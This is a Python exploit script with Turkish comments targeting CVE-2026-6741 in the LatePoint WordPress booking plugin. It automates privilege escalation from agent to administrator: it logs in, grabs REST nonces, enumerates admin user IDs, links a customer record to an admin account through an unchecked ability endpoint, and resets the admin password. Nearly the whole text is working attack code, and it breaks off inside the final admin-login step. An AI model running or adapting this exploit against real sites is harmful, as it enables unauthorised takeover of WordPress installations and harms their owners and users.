1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-6741 — LatePoint Calendar Booking Plugin <= 5.4.1
Authenticated (Agent+) Privilege Escalation → Administrator Takeover
Saldırı Zinciri:
1. Agent kimlik bilgileriyle oturum aç → REST nonce al
2. Hedef admin WordPress user ID'sini tespit et
3. LatePoint customer kaydını admin WP user'ına bağla
(connect-customer-to-wp-user ability — eksik rol kontrolü)
4. Bağlı customer için şifre sıfırlama başlat
5. Reset token ile admin şifresini değiştir
(wp_set_password($new_pass, $admin_id))
6. Yeni şifreyle admin olarak giriş yap → tam site kontrolü
Gereksinimler:
- WordPress 6.9+ (Abilities API)
- LatePoint <= 5.4.1 kurulu ve aktif
- latepoint_agent rolüne sahip hesap
- Kontrol edilen bir LatePoint customer kaydı
"""
import requests
import argparse
import json
import re
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urlencode, quote
requests.packages.urllib3.disable_warnings()
G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"
C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m"
_lock = Lock()
_counter = [0]
def out(msg):
with _lock:
sys.stdout.write("\r" + " " * 100 + "\r")
sys.stdout.write(msg + "\n")
sys.stdout.flush()
def progress(total):
with _lock:
_counter[0] += 1
n = _counter[0]
pct = n * 100 // total
bar = "█" * (pct // 5) + "░" * (20 - pct // 5)
sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%) ")
sys.stdout.flush()
# ══════════════════════════════════════════════════════════════
# ADIM 1 — AGENT OTURUM AÇMA + REST NONCE
# ══════════════════════════════════════════════════════════════
def agent_login(sess, base, username, password):
"""
Agent kimlik bilgileriyle WordPress'e giriş yap.
Cookie tabanlı oturum + REST API nonce al.
"""
# Test cookie set et
sess.cookies.set("wordpress_test_cookie", "WP Cookie check",
domain=base.split("//")[-1].split("/")[0])
login_data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
}
try:
r = sess.post(
base + "/wp-login.php",
data=login_data,
allow_redirects=True,
timeout=10,
)
# Giriş başarılı mı?
logged_in = any(
"wordpress_logged_in" in k
for k in sess.cookies.keys()
)
if not logged_in:
# Hata mesajı kontrol et
if "incorrect" in r.text.lower() or "invalid" in r.text.lower():
return {"status": "WRONG_CREDS"}
if "latepoint_agent" not in r.text and "/wp-admin" not in r.url:
return {"status": "LOGIN_FAILED", "hint": r.url}
# REST nonce al
nonce = get_rest_nonce(sess, base)
if not nonce:
return {"status": "NO_NONCE"}
# Kullanıcı bilgilerini al
user_info = get_current_user(sess, base, nonce)
return {
"status": "OK",
"nonce": nonce,
"user_info": user_info,
}
except requests.exceptions.Timeout:
return {"status": "TIMEOUT"}
except requests.exceptions.ConnectionError:
return {"status": "CONN_ERR"}
except Exception as e:
return {"status": "EXCEPTION", "err": str(e)}
def get_rest_nonce(sess, base):
"""WordPress REST API nonce'ını al."""
endpoints = [
"/wp-admin/admin-ajax.php?action=rest-nonce",
"/wp-admin/admin-ajax.php?action=wp_rest",
]
for ep in endpoints:
try:
r = sess.get(base + ep, timeout=8)
if r.status_code == 200:
nonce = r.text.strip()
if re.match(r'^[a-f0-9]{10}$', nonce):
return nonce
# JSON yanıt
try:
data = r.json()
n = data.get("nonce") or data.get("data", {}).get("nonce")
if n:
return n
except: pass
except: continue
# Sayfa kaynağından çek
try:
r = sess.get(base + "/wp-admin/", timeout=8)
m = re.search(r'"nonce"\s*:\s*"([a-f0-9]{10})"', r.text)
if m:
return m.group(1)
m = re.search(r'wpApiSettings.*?"nonce"\s*:\s*"([^"]+)"', r.text, re.S)
if m:
return m.group(1)
except: pass
return None
def get_current_user(sess, base, nonce):
"""Mevcut kullanıcı bilgilerini al."""
try:
r = sess.get(
base + "/wp-json/wp/v2/users/me",
headers={"X-WP-Nonce": nonce},
timeout=8,
)
if r.status_code == 200:
return r.json()
except: pass
return {}
# ══════════════════════════════════════════════════════════════
# ADIM 2 — HEDEF ADMIN USER ID TESPİTİ
# ══════════════════════════════════════════════════════════════
def find_admin_user_ids(sess, base, nonce=None):
"""
WordPress administrator kullanıcı ID'lerini bul.
Birden fazla yöntem denenir.
"""
admin_ids = []
# 1. REST API — admin rolü filtreli
headers = {"X-WP-Nonce": nonce} if nonce else {}
for ep in [
"/wp-json/wp/v2/users?roles=administrator&per_page=100",
"/wp-json/wp/v2/users?per_page=100",
]:
try:
r = sess.get(base + ep, headers=headers, timeout=8)
if r.status_code == 200:
users = r.json()
if isinstance(users, list):
for u in users:
roles = u.get("roles", [])
uid = u.get("id", 0)
if "administrator" in roles and uid:
admin_ids.append({
"id": uid,
"name": u.get("name", ""),
"email": u.get("email", ""),
"slug": u.get("slug", ""),
})
if admin_ids:
break
except: continue
# 2. ID 1 her zaman dene (genellikle ilk admin)
if not any(a["id"] == 1 for a in admin_ids):
try:
r = sess.get(
base + "/wp-json/wp/v2/users/1",
headers=headers, timeout=5
)
if r.status_code == 200:
u = r.json()
if u.get("id"):
admin_ids.insert(0, {
"id": u["id"],
"name": u.get("name", ""),
"email": u.get("email", ""),
"slug": u.get("slug", ""),
})
except: pass
# 3. Author sayfalarından ID tara (1-5)
if not admin_ids:
for i in range(1, 6):
try:
r = sess.get(
base + f"/?author={i}",
timeout=5, allow_redirects=True
)
if r.status_code == 200:
# author-{slug} class'ından ID çıkar
m = re.search(r'author-(\d+)', r.text)
if m:
admin_ids.append({
"id": int(m.group(1)),
"name": "",
"email": "",
"slug": "",
})
except: continue
# Tekrarları kaldır
seen = []
unique = []
for a in admin_ids:
if a["id"] not in seen:
seen.append(a["id"])
unique.append(a)
return unique if unique else [{"id": 1, "name": "admin", "email": "", "slug": ""}]
# ══════════════════════════════════════════════════════════════
# ADIM 3 — LATEPOINT CUSTOMER TESPİTİ / OLUŞTURMA
# ══════════════════════════════════════════════════════════════
def find_customer_id(sess, base, nonce, agent_email=None):
"""
Agent'ın kontrol ettiği LatePoint customer ID'sini bul.
LatePoint admin panelinden veya booking formundan.
"""
# LatePoint admin panel — customer listesi
endpoints = [
"/wp-admin/admin.php?page=latepoint&action=customers",
"/wp-admin/admin.php?page=latepoint-customers",
"/wp-json/latepoint/v1/customers",
"/wp-json/latepoint/v2/customers",
]
for ep in endpoints:
try:
r = sess.get(
base + ep,
headers={"X-WP-Nonce": nonce},
timeout=8,
)
if r.status_code == 200:
# JSON yanıt
try:
data = r.json()
customers = data if isinstance(data, list) else data.get("customers", [])
if customers:
# Agent'ın kendi emailiyle eşleşen customer bul
for c in customers:
cid = c.get("id", 0)
email = c.get("email", "")
if agent_email and email == agent_email:
return cid, email
# İlk customer'ı döndür
first = customers[0]
return first.get("id", 0), first.get("email", "")
except: pass
# HTML yanıt — ID çıkar
m = re.search(r'data-customer-id=["\'](\d+)["\']', r.text)
if m:
return int(m.group(1)), ""
except: continue
return None, None
# ══════════════════════════════════════════════════════════════
# ADIM 4 — CUSTOMER → ADMIN BAĞLAMA (ZAFIYET)
# ══════════════════════════════════════════════════════════════
def connect_customer_to_admin(sess, base, nonce, customer_id, admin_wp_user_id):
"""
LatePoint connect-customer-to-wp-user ability'sini çağır.
Bu çağrı rol kontrolü yapmadan customer'ı admin'e bağlar.
POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{
"customer_id": <id>,
"wp_user_id": <admin_id>
}
"""
ability_endpoints = [
"/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user",
"/wp-json/wp/v1/abilities/latepoint/connect-customer-to-wp-user",
"/wp-json/latepoint/v1/abilities/connect-customer-to-wp-user",
]
payload = {
"customer_id": customer_id,
"wp_user_id": admin_wp_user_id,
}
headers = {
"Content-Type": "application/json",
"X-WP-Nonce": nonce,
}
for ep in ability_endpoints:
try:
r = sess.post(
base + ep,
json=payload,
headers=headers,
timeout=10,
)
if r.status_code in (200, 201):
try:
data = r.json()
# Başarı kontrolü
wp_uid = (
data.get("wp_user_id") or
data.get("wordpress_user_id") or
data.get("data", {}).get("wp_user_id")
)
if wp_uid == admin_wp_user_id or str(wp_uid) == str(admin_wp_user_id):
return {
"status": "LINKED",
"endpoint": ep,
"response": data,
}
# Hata mesajı yok ve 200 döndü
if "error" not in str(data).lower():
return {
"status": "LINKED_ASSUMED",
"endpoint": ep,
"response": data,
}
except:
if r.status_code == 200:
return {
"status": "LINKED_RAW",
"endpoint": ep,
"raw": r.text[:200],
}
elif r.status_code == 403:
return {"status": "FORBIDDEN", "hint": "Abilities API kapalı veya yetki yok"}
elif r.status_code == 404:
continue # Sonraki endpoint'i dene
except requests.exceptions.Timeout:
return {"status": "TIMEOUT"}
except Exception as e:
return {"status": "EXCEPTION", "err": str(e)}
return {"status": "ENDPOINT_NOT_FOUND"}
# ══════════════════════════════════════════════════════════════
# ADIM 5 — ŞİFRE SIFIRLAMA BAŞLAT
# ══════════════════════════════════════════════════════════════
def trigger_password_reset(sess, base, customer_email):
"""
LatePoint customer cabinet forgot_password endpoint'ini çağır.
Bu, customer'ın emailine reset token gönderir.
"""
reset_endpoints = [
"/?latepoint_route=customer_cabinet%2Fforgot_password",
"/wp-admin/admin-ajax.php",
]
for ep in reset_endpoints:
try:
if "admin-ajax" in ep:
data = {
"action": "latepoint_route_call",
"route_name": "customer_cabinet__forgot_password",
"password_reset_email": customer_email,
}
else:
data = {"password_reset_email": customer_email}
r = sess.post(
base + ep,
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=10,
)
if r.status_code == 200:
body = r.text.lower()
if any(x in body for x in [
"email sent", "check your email", "reset link",
"password reset", "success", "sent"
]):
return {"status": "RESET_SENT", "endpoint": ep}
# JSON yanıt
try:
d = r.json()
if d.get("status") == "success" or d.get("success"):
return {"status": "RESET_SENT", "endpoint": ep}
except: pass
# 200 aldık, muhtemelen gönderildi
return {"status": "RESET_MAYBE", "endpoint": ep, "raw": r.text[:200]}
except: continue
return {"status": "RESET_FAILED"}
# ══════════════════════════════════════════════════════════════
# ADIM 6 — ŞİFRE SIFIRLAMA TAMAMLA
# ══════════════════════════════════════════════════════════════
def complete_password_reset(sess, base, reset_token, new_password):
"""
Reset token ile yeni şifreyi set et.
update_password() → wp_set_password($new_pass, $admin_id)
"""
change_endpoints = [
"/?latepoint_route=customer_cabinet%2Fchange_password",
"/wp-admin/admin-ajax.php",
]
for ep in change_endpoints:
try:
if "admin-ajax" in ep:
data = {
"action": "latepoint_route_call",
"route_name": "customer_cabinet__change_password",
"password_reset_token": reset_token,
"password": new_password,
"password_confirmation": new_password,
}
else:
data = {
"password_reset_token": reset_token,
"password": new_password,
"password_confirmation": new_password,
}
r = sess.post(
base + ep,
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=10,
)
if r.status_code == 200:
body = r.text.lower()
if any(x in body for x in [
"password updated", "password changed",
"success", "updated"
]):
return {"status": "PASSWORD_CHANGED", "endpoint": ep}
try:
d = r.json()
if d.get("status") == "success" or d.get("success"):
return {"status": "PASSWORD_CHANGED", "endpoint": ep}
except: pass
return {"status": "CHANGE_MAYBE", "endpoint": ep, "raw": r.text[:200]}
except: continue
return {"status": "CHANGE_FAILED"}
# ══════════════════════════════════════════════════════════════
# ADIM 7 — ADMİN OLARAK GİRİŞ YAP + DOĞRULA
# ══════════════════════════════════════════════════════════════
def login_as_admin(sess, base, admin_username, new_password):
"""Yeni şifreyle admin olarak giriş yap."""
admin_sess = requests.Session()
admin_sess.headers["User-Agent"] = sess.headers.get("User-Agent", "Mozilla/5.0")
admin_sess.verify = False
|